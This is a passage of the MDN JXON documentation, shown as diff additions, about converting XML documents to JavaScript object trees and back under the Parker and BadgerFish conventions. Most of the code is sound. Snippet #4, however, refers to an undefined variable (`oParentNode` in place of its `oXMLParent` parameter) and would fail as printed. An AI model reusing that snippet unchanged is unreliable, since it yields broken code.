+<p>As for the third algorithm, nodes which do not contain other recognizable nodes than <code>Text</code> or <code>CDATASection</code> are not treated as objects, but directly as booleans, strings, numbers (primitive values) or <code>Date</code> objects; and empty nodes (i.e. which do not contain other <code>Element</code> nodes, <code>Text</code> nodes, <code>CDATASection</code> nodes or <code>Attr</code> nodes) have the default value <code>true</code>. As for the third algorithm it is not used a constructor, but a function. The function's argument can be the entire XML <code>Document</code>, a <code>DocumentFragment</code> or simply an <code>Element</code> node of it. <code>nodeAttributes</code> have the “@” prefix, as suggested by the <a href="http://badgerfish.ning.com/" title="BadgerFish convention">BadgerFish Convention</a>.</p>
+
+<pre class="brush: js notranslate">/*\
+|*|
+|*|  JXON Snippet #4 - Mozilla Developer Network
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/JXON
+|*|  https://developer.mozilla.org/User:fusionchess
+|*|
+|*|  This framework is released under the GNU Public License, version 3 or later.
+|*|  http://www.gnu.org/licenses/gpl-3.0-standalone.html
+|*|
+\*/
+
+function parseText (sValue) {
+  if (/^\s*$/.test(sValue)) { return null; }
+  if (/^(?:true|false)$/i.test(sValue)) { return sValue.toLowerCase() === "true"; }
+  if (isFinite(sValue)) { return parseFloat(sValue); }
+  if (isFinite(Date.parse(sValue))) { return new Date(sValue); }
+  return sValue;
+}
+
+function objectify (vValue) {
+  if (vValue === null) {
+    return new (function() {
+      this.toString = function() { return "null"; }
+      this.valueOf = function() { return null; }
+    })();
+  }
+  return vValue instanceof Object ? vValue : new vValue.constructor(vValue);
+}
+
+var aTmpEls = []; // loaded element nodes cache
+
+function getJXONTree (oXMLParent) {
+  var  sProp, vContent, vResult, nLength = 0, nLevelStart = aTmpEls.length,
+      nChildren = oXMLParent.hasChildNodes() ? oXMLParent.childNodes.length : 0, sCollectedTxt = "";
+
+  for (var oNode, nItem = 0; nItem &lt; nChildren; nItem++) {
+    oNode = oXMLParent.childNodes.item(nItem);
+    if (oNode.nodeType === 4) { sCollectedTxt += oNode.nodeValue; } /* nodeType is "CDATASection" (4) */
+    else if (oNode.nodeType === 3) { sCollectedTxt += oNode.nodeValue.trim(); } /* nodeType is "Text" (3) */
+    else if (oNode.nodeType === 1 &amp;&amp; !oNode.prefix) { aTmpEls.push(oNode); } /* nodeType is "Element" (1) */
+  }
+
+  var nLevelEnd = aTmpEls.length, vBuiltVal = parseText(sCollectedTxt);
+
+  if (oParentNode.hasAttributes &amp;&amp; oXMLParent.hasAttributes()) {
+    vResult = objectify(vBuiltVal);
+    for (nLength; nLength &lt; oXMLParent.attributes.length; nLength++) {
+      oAttrib = oXMLParent.attributes.item(nLength);
+      vResult["@" + oAttrib.name.toLowerCase()] = parseText(oAttrib.value.trim());
+    }
+  } else if (nLevelEnd &gt; nLevelStart) { vResult = objectify(vBuiltVal); }
+
+  for (var nElId = nLevelStart; nElId &lt; nLevelEnd; nElId++) {
+    sProp = aTmpEls[nElId].nodeName.toLowerCase();
+    vContent = getJXONTree(aTmpEls[nElId]);
+    if (vResult.hasOwnProperty(sProp)) {
+    if (vResult[sProp].constructor !== Array) { vResult[sProp] = [vResult[sProp]]; }
+      vResult[sProp].push(vContent);
+    } else { vResult[sProp] = vContent; nLength++; }
+  }
+
+  aTmpEls.length = nLevelStart;
+
+  if (nLength === 0) { vResult = sCollectedTxt ? vBuiltVal : /* put here the default value for empty nodes: */ true; }
+  /* else { Object.freeze(vResult); } */
+
+  return vResult;
+}
+
+var myObject = getJXONTree(doc);
+alert(myObject.catalog.product.catalog_item[1].size.color_swatch["@image"]); // "black_cardigan.jpg"
+alert(myObject.catalog.product.catalog_item[1].size.color_swatch); // "Black" !
+</pre>
+
+<div class="note"><strong>Note:</strong> If you want to freeze the whole object tree (because of the "static" nature of an XML document), uncomment the string: <code>/* else { Object.freeze(vResult); } */</code>. The <code><a href="/en/JavaScript/Reference/Global_Objects/Object/freeze" title="en/JavaScript/Reference/Global_Objects/Object/freeze">Object.freeze()</a></code> method prevents new properties from being added to it, prevents existing properties from being removed and prevents existing properties, or their enumerability, configurability, or writability, from being changed. In essence the object tree is made effectively immutable.</div>
+
+<p>This is a possible technique if you know the structure of the XML document.</p>
+
+<h3 id="Reverse_algorithms">Reverse algorithms</h3>
+
+<p>It is possible to reverse the algorithms proposed here in order to build a new XML document starting from a JavaScript Objects Tree. For simplicity, we will propose here a single example, which in a single method represents the inversion of all our algorithms.</p>
+
+<pre class="brush: js notranslate">/*\
+|*|
+|*|  JXON Snippet #5 - Mozilla Developer Network
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/JXON
+|*|  https://developer.mozilla.org/User:fusionchess
+|*|
+|*|  This framework is released under the GNU Public License, version 3 or later.
+|*|  http://www.gnu.org/licenses/gpl-3.0-standalone.html
+|*|
+\*/
+
+function createXML (oObjTree) {
+  function loadObjTree (oParentEl, oParentObj) {
+    var vValue, oChild;
+    if (oParentObj.constructor === String || oParentObj.constructor === Number || oParentObj.constructor === Boolean) {
+      oParentEl.appendChild(oNewDoc.createTextNode(oParentObj.toString())); /* verbosity level is 0 or 1 */
+      if (oParentObj === oParentObj.valueOf()) { return; }
+    } else if (oParentObj.constructor === Date) {
+      oParentEl.appendChild(oNewDoc.createTextNode(oParentObj.toGMTString()));
+    }
+    for (var sName in oParentObj) {
+      if (isFinite(sName)) { continue; } /* verbosity level is 0 */
+      vValue = oParentObj[sName];
+      if (sName === "keyValue") {
+        if (vValue !== null &amp;&amp; vValue !== true) { oParentEl.appendChild(oNewDoc.createTextNode(vValue.constructor === Date ? vValue.toGMTString() : String(vValue))); }
+      } else if (sName === "keyAttributes") { /* verbosity level is 3 */
+        for (var sAttrib in vValue) { oParentEl.setAttribute(sAttrib, vValue[sAttrib]); }
+      } else if (sName.charAt(0) === "@") {
+        oParentEl.setAttribute(sName.slice(1), vValue);
+      } else if (vValue.constructor === Array) {
+        for (var nItem = 0; nItem &lt; vValue.length; nItem++) {
+          oChild = oNewDoc.createElement(sName);
+          loadObjTree(oChild, vValue[nItem]);
+          oParentEl.appendChild(oChild);
+        }
+      } else {
+        oChild = oNewDoc.createElement(sName);
+        if (vValue instanceof Object) {
+          loadObjTree(oChild, vValue);
+        } else if (vValue !== null &amp;&amp; vValue !== true) {
+          oChild.appendChild(oNewDoc.createTextNode(vValue.toString()));
+        }
+        oParentEl.appendChild(oChild);
+      }
+    }
+  }
+  const oNewDoc = document.implementation.createDocument("", "", null);
+  loadObjTree(oNewDoc, oObjTree);
+  return oNewDoc;
+}
+
+var newDoc = createXML(myObject);
+// we got our Document instance! try: alert((new XMLSerializer()).serializeToString(newDoc));
+</pre>
+
+<div class="note"><strong>Note:</strong> With this code the <code>Date</code> instances, if they exist, are converted into <a href="/en/JavaScript/Reference/Global_Objects/String" title="String">Strings</a> through the <a href="/en/JavaScript/Reference/Global_Objects/Date/toGMTString" title="toGMTString"><code>toGMTString()</code></a> method. Nothing prohibits the use of any other conversion method. In addition, all properties of the tree with a <code>true</code> value will be converted into empty elements with no text nodes (see the <a href="#Code_considerations" title="Code considerations">Code considerations</a>).</div>
+
+<p>This is a good solution if you want to automate the creation of an XML document. It is a bad choice, however, if you want to re-build an XML document previously converted into JSON. Although <strong>the bidirectional conversion is very faithful</strong> (except for <a href="/en-US/docs/Web/API/CDATASection" title="The CDATASection interface represents a CDATA section that can be used within XML to include extended portions of unescaped text, such that the symbols &lt; and &amp; do not need escaping as they normally do within XML when used as text."><code>CDATASection</code></a> nodes, which will be converted into <a href="/en-US/docs/Web/API/Text" title="The Text interface represents the textual content of Element or Attr.  If an element has no markup within its content, it has a single child implementing Text that contains the element's text.  However, if the element contains markup, it is parsed into information items and Text nodes that form its children."><code>Text</code></a> nodes), the process is unnecessarily costly. In fact, if your goal is to edit an XML document, it is strongly recommended to work on it rather than create new ones.</p>
+
+<h2 id="The_Parker_Convention">The Parker Convention</h2>
+
+<p>The functions listed above for the conversion of an XML document to <a href="/en/JSON" title="en/JSON">JSON</a> (often called "JXON algorithms") are more or less freely based on the Parker Convention (especially regarding the transformation of <a href="/en/DOM/Node.nodeName" title="en/DOM/Node.nodeName">tags names</a> into <a href="/en/JavaScript/Guide/Working_with_Objects#Objects_and_properties" title="en/Core_JavaScript_1.5_Guide/Working_with_Objects#Objects_and_properties">object properties names</a>, the recognition of the <a href="/en/JavaScript/Reference/Operators/typeof" title="en/JavaScript/Reference/Operators/typeof"><code>typeof</code></a> of all the collected <a href="/en/DOM/Node.nodeValue" title="en/DOM/Node.nodeValue"><code>text content</code></a> of each tag and the absorption of solitary <code>Text</code> and/or <code>CDATASection</code> nodes into primitive values). It is called “Parker Convention” in opposition to “BadgerFish Convention”, after the comic Parker &amp; Badger by Cuadrado. See also: <a href="http://badgerfish.ning.com/" title="BadgerFish convention">BadgerFish Convention</a>.</p>
+
+<p>The following is a transcription of the Parker Convention paper (version 0.4), from the page “<a href="http://code.google.com/p/xml2json-xslt/wiki/TransformingRules" title="TransformingRules – xml2json-xslt">TransformingRules</a>” of the <a href="http://code.google.com/p/xml2json-xslt/" title="xml2json-xslt project">xml2json-xslt project</a> site.</p>
+
+<p>This Convention was written in order to regulate the conversion to <a href="/en/JSON" title="en/JSON">JSON</a> from <a href="/en/XSLT" title="en/XSLT">XSLT</a>, so parts of it are futile for JavaScript.</p>
+
+<div class="note"><strong>Note:</strong> On October 29th, 2013, the World Wide Web Consortium relased <a href="http://www.w3.org/TR/microdata/#json" title="Converting HTML to other formats: JSON – World Wide Web Consortium">in a note</a> on <em>official</em> algorithm for converting <em><a href="/en-US/docs/Web/HTML/Global_attributes#itemid">HTML5 microdata</a></em> to <em><a href="/en/JSON" title="en/JSON">JSON</a></em>. However, <em>HTML microdata</em> <strong>is not</strong> <em>HTML:</em> microdata is a formatted <strong>subset</strong> of HTML.</div>
+
+<h3 id="Translation_JSON">Translation JSON</h3>
+
+<ol>
+ <li>
+  <p>The root element will be absorbed, for there is only one:</p>
+
+  <pre class="brush: xml notranslate">&lt;root&gt;test&lt;/root&gt;</pre>
+
+  <p>becomes</p>
+
+  <pre class="brush: js notranslate">"test"
+</pre>
+ </li>
+ <li>
+  <p>Element names become object properties:</p>
+
+  <pre class="brush: xml notranslate">&lt;root&gt;&lt;name&gt;Xml&lt;/name&gt;&lt;encoding&gt;ASCII&lt;/encoding&gt;&lt;/root&gt;</pre>
+
+  <p>becomes</p>
+
+  <pre class="brush: js notranslate">{
+  "name": "Xml",
+  "encoding": "ASCII"
+}
+</pre>
+ </li>
+ <li>
+  <p>Numbers are recognized (integers and decimals):</p>
+
+  <pre class="brush: xml notranslate">&lt;root&gt;&lt;age&gt;12&lt;/age&gt;&lt;height&gt;1.73&lt;/height&gt;&lt;/root&gt;</pre>
+
+  <p>becomes</p>
+
+  <pre class="brush: js notranslate">{
+  "age": 12,
+  "height": 1.73
+}
+</pre>
+ </li>
+ <li>
+  <p>Booleans are recognized case insensitive:</p>
+
+  <pre class="brush: xml notranslate">&lt;root&gt;&lt;checked&gt;True&lt;/checked&gt;&lt;answer&gt;FALSE&lt;/answer&gt;&lt;/root&gt;</pre>
+
+  <p>becomes</p>
+
+  <pre class="brush: js notranslate">{
+  "checked": true,
+  "answer": false
+}
+</pre>
+ </li>
+ <li>
+  <p>Strings are escaped:</p>
+
+  <pre class="brush: xml notranslate">&lt;root&gt;Quote: &amp;quot; New-line:
+&lt;/root&gt;
+</pre>
+
+  <p>becomes</p>
+
+  <pre class="brush: js notranslate">"Quote: \" New-line:\n"</pre>
+ </li>
+ <li>
+  <p>Empty elements will become null:</p>
+
+  <pre class="brush: xml notranslate">&lt;root&gt;&lt;nil/&gt;&lt;empty&gt;&lt;/empty&gt;&lt;/root&gt;</pre>
+
+  <p>becomes</p>
+
+  <pre class="brush: js notranslate">{
+  "nil": null,
+  "empty": null
+}
+</pre>
+ </li>
+ <li>
+  <p>If all sibling elements have the same name, they become an array</p>
+
+  <pre class="brush: xml notranslate">&lt;root&gt;&lt;item&gt;1&lt;/item&gt;&lt;item&gt;2&lt;/item&gt;&lt;item&gt;three&lt;/item&gt;&lt;/root&gt;
+</pre>
+
+  <p>becomes</p>
+
+  <pre class="brush: js notranslate">[1, 2, "three"]
+</pre>
+ </li>
+ <li>
+  <p>Mixed mode text-nodes, comments and attributes get absorbed:</p>
+
+  <pre class="brush: xml notranslate">&lt;root version="1.0"&gt;testing&lt;!--comment--&gt;&lt;element test="true"&gt;1&lt;/element&gt;&lt;/root&gt;
+</pre>
+
+  <p>becomes</p>
+
+  <pre class="brush: js notranslate">{ "element": true }
+</pre>
+ </li>
+ <li>
+  <p>Namespaces get absorbed, and prefixes will just be part of the property name:</p>
+
+  <pre class="brush: xml notranslate">&lt;root xmlns:ding="http://zanstra.com/ding"&gt;&lt;ding:dong&gt;binnen&lt;/ding:dong&gt;&lt;/root&gt;
+</pre>
+
+  <p>becomes</p>
+
+  <pre class="brush: js notranslate">{ "ding:dong" : "binnen" }
+</pre>
+ </li>
+</ol>
+
+<div class="note"><strong>Note:</strong> Our algorithms comply with points 2, 3, 4 and 7. The third and the fourth algorithm comply also with point 6 (but <code>true</code> instead of <code>null</code> – see the <a href="#Code_considerations" title="Code considerations">Code considerations</a>). Point 5 is automatically managed by the JavaScript method <code><a href="/en/JavaScript/Reference/Global_Objects/JSON/stringify" title="en/JavaScript/Reference/Global_Objects/JSON/stringify">JSON.stringify()</a></code>. Regarding point 9, we chose to ignore all nodes which have a prefix; you can include them by removing the string <code>&amp;&amp; !oNode.prefix</code> from our algorithms (see the <a href="#Code_considerations" title="Code considerations">Code considerations</a>).</div>
+
+<h3 id="Extra_JavaScript_translations">Extra JavaScript translations</h3>
+
+<p>This is the same as the JSON translation, but with these extras:</p>
+
+<ol>
+ <li>
+  <p>Property names are only escaped when necessary</p>
+
+  <pre class="brush: xml notranslate">&lt;root&gt;&lt;while&gt;true&lt;/while&gt;&lt;wend&gt;false&lt;/wend&gt;&lt;only-if/&gt;&lt;/root&gt;
+</pre>
+
+  <p>becomes</p>
+
+  <pre class="brush: js notranslate">{
+  "while": true,
+  wend: false,
+  "only-if": null
+}
+</pre>
+ </li>
+ <li>
+  <p>Within a string, closing elements "&lt;/" are escaped as "&lt;\/"</p>
+
+  <pre class="brush: xml notranslate">&lt;root&gt;&lt;![CDATA[&lt;script&gt;alert("YES");&lt;/script&gt;]]&gt;&lt;/root&gt;</pre>
+
+  <p>becomes</p>
+
+  <pre class="brush: js notranslate">{ script: "&lt;script&gt;alert(\"YES\")&lt;\/script&gt;" }
+</pre>
+ </li>
+ <li>
+  <p>Dates are created as new <a href="/en/JavaScript/Reference/Global_Objects/Date" title="Date"><code>Date</code></a> objects</p>
+
+  <pre class="brush: xml notranslate">&lt;root&gt;2006-12-25&lt;/root&gt;</pre>
+
+  <p>becomes</p>
+
+  <pre class="brush: js notranslate">new Date(2006, 12 - 1, 25)
+</pre>
+ </li>
+ <li>
+  <p>Attributes and comments are shown as comments (for testing purposes):</p>
+
+  <pre class="brush: xml notranslate">&lt;!--testing--&gt;&lt;root&gt;&lt;test version="1.0"&gt;123&lt;/test&gt;&lt;/root&gt;
+</pre>
+
+  <p>becomes</p>
+
+  <pre class="brush: js notranslate">/* testing */ { test /* @version = "1.0" */ : 123}
+</pre>
+ </li>
+ <li>
+  <p>A bit of indentation is done, to keep things legible</p>
+ </li>
+</ol>
+
+<div class="note"><strong>Note:</strong> Our algorithms comply with the point 3 (but without month decrease). The points 1 and 2 are automatically managed by the JavaScript method <code><a href="/en/JavaScript/Reference/Global_Objects/JSON/stringify" title="en/JavaScript/Reference/Global_Objects/JSON/stringify">JSON.stringify()</a></code>.</div>
+
+<h2 id="In_summary">In summary</h2>
+
+<p>Let's take <strong><a href="#Algorithm_.233.3A_a_synthetic_technique" title="Go to JXON algorithm #3">the third algorithm</a> as the most representative JXON parsing algorithm</strong>. A single structured XML <code>Element</code> might have <em>eight different configurations</em>:</p>
+
+<ol>
+ <li>an empty element,</li>
+ <li>an element with pure text content,</li>
+ <li>an empty element with attributes,</li>
+ <li>an element with text content and attributes,</li>
+ <li>an element containing elements with different names,</li>
+ <li>an element containing elements with identical names,</li>
+ <li>an element containing elements and contiguous text,</li>
+ <li>an element containing elements and non contiguous text.</li>
+</ol>
+
+<p>The following table shows the corresponding conversion patterns between XML and JSON according to the <a href="#Algorithm_.233.3A_a_synthetic_technique" title="Go to JXON algorithm #3">third algorithm</a>.</p>
+
+<table>
+ <thead>
+  <tr>
+   <th style="background: #faf9e2; color: #5d5636; text-align: center;"><strong>Case</strong></th>
+   <th style="background: #faf9e2; color: #5d5636; text-align: center;"><strong>XML</strong></th>
+   <th style="background: #faf9e2; color: #5d5636; text-align: center;"><strong>JSON</strong></th>
+   <th style="background: #faf9e2; color: #5d5636; text-align: center;"><strong>Javascript access</strong></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td style="background: #f6f6f6; color: #000000;">1</td>
+   <td style="background: #f6f6f6; color: #000000;"><code>&lt;animal /&gt;</code></td>
+   <td style="background: #f6f6f6; color: #000000;"><code>"animal": true</code></td>
+   <td style="background: #f6f6f6; color: #000000;"><code>myObject.animal</code></td>
+  </tr>
+  <tr>
+   <td style="background: #e7e5dc; color: #silver;">2</td>
+   <td style="background: #e7e5dc; color: #silver;"><code>&lt;animal&gt;Deka&lt;/animal&gt;</code></td>
+   <td style="background: #e7e5dc; color: #silver;"><code>"animal": "Deka"</code></td>
+   <td style="background: #e7e5dc; color: #silver;"><code>myObject.animal</code></td>
+  </tr>
+  <tr>
+   <td style="background: #f6f6f6; color: #000000;">3</td>
+   <td style="background: #f6f6f6; color: #000000;"><code>&lt;animal name="Deka" /&gt;</code></td>
+   <td style="background: #f6f6f6; color: #000000;"><code>"animal": {"@name": "Deka"}</code></td>
+   <td style="background: #f6f6f6; color: #000000;"><code>myObject.animal["@name"]</code></td>
+  </tr>
+  <tr>
+   <td style="background: #e7e5dc; color: #silver;">4</td>
+   <td style="background: #e7e5dc; color: #silver;"><code>&lt;animal name="Deka"&gt;is my cat&lt;/animal&gt;</code></td>
+   <td style="background: #e7e5dc; color: #silver;"><code>"animal": { "@name": "Deka", "keyValue": "is my cat" }</code></td>
+   <td style="background: #e7e5dc; color: #silver;"><code>myObject.animal["@name"]</code>, <code>myObject.animal.keyValue</code></td>
+  </tr>
+  <tr>
+   <td style="background: #f6f6f6; color: #000000;">5</td>
+   <td style="background: #f6f6f6; color: #000000;"><code>&lt;animal&gt; &lt;dog&gt;Charlie&lt;/dog&gt; &lt;cat&gt;Deka&lt;/cat&gt; &lt;/animal&gt;</code></td>
+   <td style="background: #f6f6f6; color: #000000;"><code>"animal": { "dog": "Charlie", "cat": "Deka" }</code></td>
+   <td style="background: #f6f6f6; color: #000000;"><code>myObject.animal.dog</code>, <code>myObject.animal.cat</code></td>
+  </tr>
+  <tr>
+   <td style="background: #e7e5dc; color: #silver;">6</td>
+   <td style="background: #e7e5dc; color: #silver;"><code>&lt;animal&gt; &lt;dog&gt;Charlie&lt;/dog&gt; &lt;dog&gt;Mad Max&lt;/dog&gt; &lt;/animal&gt;</code></td>
+   <td style="background: #e7e5dc; color: #silver;"><code>"animal": { "dog": ["Charlie", "Mad Max"] }</code></td>
+   <td style="background: #e7e5dc; color: #silver;"><code>myObject.animal.dog[0]</code>, <code>myObject.animal.dog[1]</code></td>
+  </tr>
+  <tr>
+   <td style="background: #f6f6f6; color: #000000;">7</td>
+   <td style="background: #f6f6f6; color: #000000;"><code>&lt;animal&gt; in my house &lt;dog&gt;Charlie&lt;/dog&gt; &lt;/animal&gt;</code></td>
+   <td style="background: #f6f6f6; color: #000000;"><code>"animal": { "keyValue": "in my house", "dog": "Charlie" }</code></td>
+   <td style="background: #f6f6f6; color: #000000;"><code>myObject.animal.keyValue</code>, <code>myObject.animal.dog</code></td>
+  </tr>
+  <tr>
+   <td style="background: #e7e5dc; color: #silver;">8</td>
+   <td style="background: #e7e5dc; color: #silver;"><code>&lt;animal&gt; in my ho &lt;dog&gt;Charlie&lt;/dog&gt; use &lt;/animal&gt;</code></td>
+   <td style="background: #e7e5dc; color: #silver;"><code>"animal": { "keyValue": "in my house", "dog": "Charlie" }</code></td>
+   <td style="background: #e7e5dc; color: #silver;"><code>myObject.animal.keyValue</code>, <code>myObject.animal.dog</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Code_considerations">Code considerations</h2>
+
+<p>In these examples we chose to use a property named <code>keyValue</code> for the text content. The lack of standards for XML to JSON conversion leads developers to choose a variety of property names for the text content of XML <a href="/en-US/docs/Web/API/Element" title="Element is the most general base class from which all objects in a Document inherit. It only has methods and properties common to all kinds of element. More specific classes inherit from Element."><code>Element</code></a> nodes that also contain other child nodes. Sometimes a property called <code>$</code> is used. Other times a property called <code>#text</code> is used (however, a name like this isn't a good choice, since the text content of a node can be parsed into a non-string value by our algorithms during the conversion). In the algorithms proposed here, you can easily change this name, depending on your needs.</p>
+
+<p>The choice of using a <code>true</code> value instead of a <code>null</code> value to represent empty nodes is due to the fact that <strong>when in an XML document there is an empty node the reason is often to express a<em> <code>Boolean</code></em></strong>, as in this case:</p>
+
+<pre class="brush: xml notranslate">&lt;car&gt;
+  &lt;type&gt;Ferrari&lt;/type&gt;
+  &lt;bought /&gt;
+&lt;/car&gt;
+</pre>
+
+<p>If the value were <code>null</code> it would be more cumbersome to launch a code like this:</p>
+
+<pre class="brush: js notranslate">if (myObject.car.bought) {
+  // do something
+}
+</pre>
+
+<div class="note"><strong>Note:</strong> According to our <a href="#Algorithm_.233.3A_a_synthetic_technique" title="Go to JXON algorithm #3">third algorithm</a> and our <a href="#Algorithm_.234.3A_a_very_minimalist_way" title="Go to JXON algorithm #4">fourth algorithm</a>, just <code>CDATASection</code> nodes which contain nothing but white spaces (precisely: <code>/^\s+$/</code>) will be parsed as <code>null</code>.</div>
+
+<p>The <a href="#Algorithm_.234.3A_a_very_minimalist_way" title="Go to JXON algorithm #4">fourth algorithm</a> represents a <strong>special case of conversion</strong>. As you can see, <strong>the generated JavaScript Object tree is not <a href="/en/JavaScript/Reference/Global_Objects/JSON/stringify" title="en/JavaScript/Reference/Global_Objects/JSON/stringify">stringifyable</a></strong>. It is very practical for internal JavaScript access, but don't use it if you want to transfer the tree via JSON string (as for <code><a href="/en/DOM/Worker" title="en/DOM/Worker">Worker</a></code> messages, for example).</p>
+
+<p>We chose to <strong>ignore nodes which have a prefix</strong> (for example: <code>&lt;ding:dong&gt;binnen&lt;/ding:dong&gt;</code>), due to their special case (they are often used in order to represents an <a href="http://www.w3.org/TR/xmlschema-ref/" title="W3C XML Schema Definition Language (XSD): Component Designators">XML Schema</a>, which is <em>meta-information</em> concerning how to organize the <em>information</em> of the document, reserved for the XML parser). You can include them removing the string <code>&amp;&amp; !oNode.prefix</code> from our algorithms (by doing so the whole tag will become the property name: <code>{ "ding:dong": "binnen" }</code>).</p>
+
+<p>An important consideration is that, when using the <a href="#Algorithm_.233.3A_a_synthetic_technique" title="Go to JXON algorithm #3">third</a> or the <a href="#Algorithm_.234.3A_a_very_minimalist_way" title="Go to JXON algorithm #4">fourth</a> algorithm, an XML <a href="/en-US/docs/Web/API/Document" title="The Document interface represents any web page loaded in the browser and serves as an entry point into the web page's content, which is the DOM tree."><code>Document</code></a> can be used to create any type of JavaScript object. For example, If you want to create an object like the following:</p>
+
+<pre class="brush: js notranslate">{
+  "myboolean": true,
+  "myarray": ["Cinema", "Hot dogs", false],
+  "myobject": {
+    "nickname": "Jack",
+    "registration_date": new Date(1995, 11, 25),
+    "privileged_user": true
+  },
+  "mynumber": 99,
+  "mytext": "Hello World!"
+}
+</pre>
+
+<p>you must just create an XML document with the following structure:</p>
+
+<pre class="brush: xml notranslate">&lt;myboolean&gt;true&lt;/myboolean&gt;
+&lt;myarray&gt;Cinema&lt;/myarray&gt;
+&lt;myarray&gt;Hot dogs&lt;/myarray&gt;
+&lt;myarray&gt;false&lt;/myarray&gt;
+&lt;myobject&gt;
+  &lt;nickname&gt;Jack&lt;/nickname&gt;
+  &lt;registration_date&gt;Dec 25, 1995&lt;/registration_date&gt;
+  &lt;privileged_user /&gt;
+&lt;/myobject&gt;
+&lt;mynumber&gt;99&lt;/mynumber&gt;
+&lt;mytext&gt;Hello World!&lt;/mytext&gt;
+</pre>
+
+<p>This example also shows how the ideal JXON document is an XML document designed specifically to be converted in JSON format, though <em>our algorithms work fine with any kind of XML document</em>.</p>
+
+<div class="note" id="ordering-lossless-note"><strong>Note:</strong> Despite the term JXON suggesting "lossless" conversions, these techniques are not actually lossless if one needs to preserve <strong>ordering of elements</strong>, as is common with many XML dialects (including of course <a href="/en-US/docs/XHTML" title="/en-US/docs/XHTML">XHTML</a>). The ECMAScript standard (JavaScript) indicates that object iteration order is <em>implementation dependent</em>.</div>
+
+<h2 id="Appendix_a_complete_bidirectional_JXON_library">Appendix: a complete, bidirectional, JXON library</h2>
+
+<p>Now we can create a more complete, bidirectional, JXON library based on <strong>all</strong> our algorithms (see: <a href="#Algorithm_.231.3A_a_verbose_way" title="Go to JXON algorithm #1">#1</a>, <a href="#Algorithm_.232.3A_a_less_verbose_way" title="Go to JXON algorithm #2">#2</a>, <a href="#Algorithm_.233.3A_a_synthetic_technique" title="Go to JXON algorithm #3">#3</a>, <a href="#Algorithm_.234.3A_a_very_minimalist_way" title="Go to JXON algorithm #4">#4</a>, <a href="#Reverse_algorithms" title="Reverse algorithms">reverse</a>). Its usage is modeled on the <a href="/en/JavaScript/Reference/Global_Objects/JSON" title="en/JavaScript/Reference/Global_Objects/JSON"><code>JSON</code></a> native object. <strong>Before implementing it in a working environment, please read the <a href="#const_compatibility" title="#const_compatibility">note about the <code>const</code> statement compatibility</a></strong>. The following code is also <a class="external external-icon" href="https://github.com/madmurphy/jxon.js">available on GitHub</a>.</p>
+
+<pre class="brush: js notranslate">"use strict";
+
+/*\
+|*|
+|*|  JXON framework - Copyleft 2011 by Mozilla Developer Network
+|*|
+|*|  Revision #3 - October 31th, 2016
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/JXON
+|*|  https://developer.mozilla.org/User:fusionchess
+|*|  https://github.com/madmurphy/jxon.js
+|*|
+|*|  This framework is released under the GNU Public License, version 3 or later.
+|*|  http://www.gnu.org/licenses/gpl-3.0-standalone.html
+|*|
+\*/
+
+const JXON = new (function () {
+
+  function parseText (sValue) {
+    if (rIsNull.test(sValue)) { return null; }
+    if (rIsBool.test(sValue)) { return sValue.toLowerCase() === "true"; }
+    if (isFinite(sValue)) { return parseFloat(sValue); }
+    if (isFinite(Date.parse(sValue))) { return new Date(sValue); }
+    return sValue;
+  }
+
+  function EmptyTree () {}
+
+  EmptyTree.prototype.toString = function () { return "null"; };
+
+  EmptyTree.prototype.valueOf = function () { return null; };
+
+  function objectify (vVal) {
+    return vVal === null ? new EmptyTree() : vVal instanceof Object ? vVal : new vVal.constructor(vVal);
+  }
+
+  function createObjTree (oParentNode, nVerb, bFreeze, bNesteAttr) {
+
+    const
+      nLevelStart = aCache.length, bChildren = oParentNode.hasChildNodes(),
+      bAttributes = oParentNode.hasAttributes &amp;&amp; oParentNode.hasAttributes(), bHighVerb = Boolean(nVerb &amp; 2);
+
+    var
+      sProp, vContent, nLength = 0, sCollectedTxt = "",
+      vResult = bHighVerb ? {} : /* put here the default value for empty nodes: */ true;
+
+    if (bChildren) {
+      for (var oNode, nItem = 0; nItem &lt; oParentNode.childNodes.length; nItem++) {
+        oNode = oParentNode.childNodes.item(nItem);
+        if (oNode.nodeType === 4) { sCollectedTxt += oNode.nodeValue; } /* nodeType is "CDATASection" (4) */
+        else if (oNode.nodeType === 3) { sCollectedTxt += oNode.nodeValue.trim(); } /* nodeType is "Text" (3) */
+        else if (oNode.nodeType === 1 &amp;&amp; !oNode.prefix) { aCache.push(oNode); } /* nodeType is "Element" (1) */
+      }
+    }
+
+    const nLevelEnd = aCache.length, vBuiltVal = parseText(sCollectedTxt);
+
+    if (!bHighVerb &amp;&amp; (bChildren || bAttributes)) { vResult = nVerb === 0 ? objectify(vBuiltVal) : {}; }
+
+    for (var nElId = nLevelStart; nElId &lt; nLevelEnd; nElId++) {
+      sProp = aCache[nElId].nodeName.toLowerCase();
+      vContent = createObjTree(aCache[nElId], nVerb, bFreeze, bNesteAttr);
+      if (vResult.hasOwnProperty(sProp)) {
+        if (vResult[sProp].constructor !== Array) { vResult[sProp] = [vResult[sProp]]; }
+        vResult[sProp].push(vContent);
+      } else {
+        vResult[sProp] = vContent;
+        nLength++;
+      }
+    }
+
+    if (bAttributes) {
+
+      const
+        nAttrLen = oParentNode.attributes.length,
+        sAPrefix = bNesteAttr ? "" : sAttrsPref, oAttrParent = bNesteAttr ? {} : vResult;
+
+      for (var oAttrib, nAttrib = 0; nAttrib &lt; nAttrLen; nLength++, nAttrib++) {
+        oAttrib = oParentNode.attributes.item(nAttrib);
+        oAttrParent[sAPrefix + oAttrib.name.toLowerCase()] = parseText(oAttrib.value.trim());
+      }
+
+      if (bNesteAttr) {
+        if (bFreeze) { Object.freeze(oAttrParent); }
+        vResult[sAttrProp] = oAttrParent;
+        nLength -= nAttrLen - 1;
+      }
+
+    }
+
+    if (nVerb === 3 || (nVerb === 2 || nVerb === 1 &amp;&amp; nLength &gt; 0) &amp;&amp; sCollectedTxt) {
+      vResult[sValProp] = vBuiltVal;
+    } else if (!bHighVerb &amp;&amp; nLength === 0 &amp;&amp; sCollectedTxt) {
+      vResult = vBuiltVal;
+    }
+
+    if (bFreeze &amp;&amp; (bHighVerb || nLength &gt; 0)) { Object.freeze(vResult); }
+
+    aCache.length = nLevelStart;
+
+    return vResult;
+
+  }
+
+  function loadObjTree (oXMLDoc, oParentEl, oParentObj) {
+
+    var vValue, oChild;
+
